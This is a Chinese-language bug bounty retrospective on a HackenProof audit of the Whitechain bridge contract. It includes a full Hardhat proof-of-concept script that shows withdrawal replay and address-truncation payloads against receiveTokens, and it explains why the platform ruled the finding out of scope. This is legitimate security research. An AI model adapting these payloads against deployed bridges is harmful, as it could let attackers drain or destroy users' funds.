最近尝试了 HackenProof 上的 Whitechain 跨链桥项目,
一.复盘与总结
当终端最终跑出绿色的 2 passing 时,我曾以为这会是一次丰收。随后的 N/A 判定与扣分,让我彻底冷静了下来。整理三点沉淀,既是备忘,也与大家共勉:
- 规则认知:特权信任与外部攻击面
这次最大的教训,是对赏金边界的重新审视。在 Web3 审计中,带有 onlyRole 等权限修饰的函数属于“特权信任区”。即使内部逻辑存在校验缺失,只要外部普通攻击者无法直接触达,规则上统归 Out of Scope。未来的审计重心,应更聚焦于无需权限的公共函数。 - 技术沉淀:PoC 构造的三个破局点
在借助 AI 辅助补全 TypeScript 语法的过程中,我主导设计了核心的攻击载荷逻辑:
(1)强破类型校验:针对 bytes32 要求,使用 zeroPadValue 将 20 字节地址右侧补零,满足 ABI 编码。
(2)精准构造异常载荷:手工拼装“高位有值、低位全零”的十六进制地址。它成功绕过了 nonZero 前置检查,并在底层触发 uint160 截断化为零地址,导致资金永久锁定。
(3)环境动态适配:摒弃硬编码,通过 provider.getNetwork() 动态捕获 ChainId,保证了脚本在任意分叉环境下的兼容与健壮。
3.心态回归:N/A 不等于 Invalid
平台判定不适用,仅代表发现偏离了奖励规则,并不否定代码逻辑本身。实打实的测试通 过结果就是最好的证明。虽未获赏金,但完整跑通了从源码分析到 Hardhat 本地复现的全 链路,这套工程化能力,才是真正带走的硬实力。
二. 探索过程
1.发现的代码漏洞
在审计 Bridge.sol 时,发现两个逻辑缺陷:
(1)提现重放:存款函数 bridgeTokens 有 usedHashes 校验防重放,但提现函数 receiveTokens 完全没有。
(2)地址截断:提现时 bytes32 类型的地址被强制转换 uint160,构造特殊地址会导致资金打入零地址。



为了证明漏洞的真实性,我基于 Hardhat 框架编写了完整的 PoC 攻击脚本(FullExploit.ts)。
在编写过程中,我踩平了合约各种严苛的校验坑。比如:
必须动态获取当前链的 ChainId,否则 registerMapping 会报错。
结构体传参时,普通的 address 必须用 hre.ethers.zeroPadValue 补齐成 32 字节的 bytes32。
原生代币的限额必须使用 ZeroHash。
完整代码如下,建议大家阅读时重点关注 Critical 1 和 Critical 2 的攻击逻辑:
//
2.👉 点击展开查看完整 PoC 脚本(FullExploit.ts)
import { expect } from "chai";
import hre from "hardhat";
describe("🔥 Whitechain Bridge Full Exploit", function () {
let BridgeContract: any;
let MapperContract: any;
let deployer: any;
let emergencyAddress: any;
let multisigAddress: any;
let relayerAddress: any;
let user1: any;
let user2: any;
// 枚举常量定义
const DepositType = { None: 0, Lock: 1, Burn: 2 };
const WithdrawType = { None: 0, Unlock: 1, Mint: 2 };
beforeEach(async function () {
const accounts = await hre.ethers.getSigners();
deployer = accounts[0];
emergencyAddress = accounts[1];
multisigAddress = accounts[2];
relayerAddress = accounts[3];
user1 = accounts[4];
user2 = accounts[5];
// 1. 部署 Mapper
MapperContract = await hre.upgrades.deployProxy(
await hre.ethers.getContractFactory("contracts/main/modules/mapper/Mapper.sol:Mapper"),
[{
emergencyAddress: emergencyAddress.address,
multisigAddress: multisigAddress.address
}],
{ initializer: 'initialize', kind: 'uups' }
);
// 2. 部署 Bridge
BridgeContract = await hre.upgrades.deployProxy(
await hre.ethers.getContractFactory("contracts/main/modules/bridge/Bridge.sol:Bridge"),
[{
mapperAddress: await MapperContract.getAddress(),
emergencyAddress: emergencyAddress.address,
multisigAddress: multisigAddress.address,
relayerAddress: relayerAddress.address
}],
{ initializer: 'initialize', kind: 'uups' }
);
// 3. 注册映射(核心排雷区)
const network = await hre.ethers.provider.getNetwork();
const currentChainId = network.chainId;
const fakeTokenAddress = hre.ethers.zeroPadValue(user1.address, 32);
const mapInfo = {
originChainId: BigInt(1),
targetChainId: currentChainId,
depositType: DepositType.None,
withdrawType: WithdrawType.Unlock,
originTokenAddress: fakeTokenAddress,
targetTokenAddress: fakeTokenAddress,
useTransfer: false,
isAllowed: true,
isCoin: true
};
await MapperContract.connect(multisigAddress).registerMapping(mapInfo);
// 4. 给 Bridge 充值 100 ETH 供提现
await deployer.sendTransaction({
to: await BridgeContract.getAddress(),
value: hre.ethers.parseEther("100")
});
// 5. 设置每日限额(原生币使用 ZeroHash)
await BridgeContract.connect(multisigAddress).setDailyLimit(
hre.ethers.ZeroHash,
relayerAddress.address,
1000000n
);
});
it("Critical 1: 提现重放攻击 (Replay Attack)", async function () {
const mapId = 1;
const externalId = hre.ethers.encodeBytes32String("hack_replay_001");
const amount = 1000n;
const params = [
externalId,
mapId,
amount,
hre.ethers.zeroPadValue(user1.address, 32),
hre.ethers.zeroPadValue(user2.address, 32)
];
console.log("\n🚀 第 1 次正常提现...");
const tx1 = await BridgeContract.connect(relayerAddress).receiveTokens(params);
await tx1.wait();
console.log("✅ 第 1 次提现成功!");
console.log("🔥 第 2 次原封不动重放...");
const tx2 = await BridgeContract.connect(relayerAddress).receiveTokens(params);
await tx2.wait();
console.log("💥💥💥 [攻击成功] 重放提现成功!");
expect(tx2).to.not.be.reverted;
});
it("Critical 2: 地址截断攻击 (Address Truncation)", async function () {
const mapId = 1;
const externalId = hre.ethers.encodeBytes32String("hack_zero_002");
const amount = 1000n;
const maliciousToAddress = "0x0000000000000000000000000000000000000000000000000000000100000000";
const params = [
externalId,
mapId,
amount,
hre.ethers.zeroPadValue(user1.address, 32),
maliciousToAddress
];
console.log("\n🕳️ 尝试提现到被截断的零地址...");
const tx = await BridgeContract.connect(relayerAddress).receiveTokens(params);
await tx.wait();
console.log("💥💥💥 [攻击成功] 资金被永久销毁!");
expect(tx).to.not.be.reverted;
});
});
|

三.平台审核反馈与规则解析
为什么被判了 N/A?
兴冲冲提交后,审核员判定为 Not Applicable(不适用),并扣了 5 点声望。
原因:提现函数带有 onlyRole(RELAYER_ROLE) 权限锁。在 Web3 赏金规则中,利用特权账号(中继器、管理员)引发的漏洞(或特权账号被黑)属于 Out of Scope。外部路人无法直接触发,故不算有效漏洞。
